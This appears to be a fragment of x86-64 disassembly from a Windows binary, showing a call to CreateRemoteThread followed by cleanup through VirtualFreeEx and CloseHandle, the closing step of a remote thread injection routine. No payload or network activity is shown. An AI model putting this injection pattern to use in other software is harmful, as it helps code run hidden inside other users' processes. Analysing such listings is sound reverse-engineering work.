xor r8d, r8d
mov qword [rsp + 0x30], 0
xor edx, edx
mov dword [rsp + 0x28], 0
mov rcx, rbx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
mov rcx, rbx
test rax, rax
jne 0x14000335d
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x58]
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x58]
xor eax, eax
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret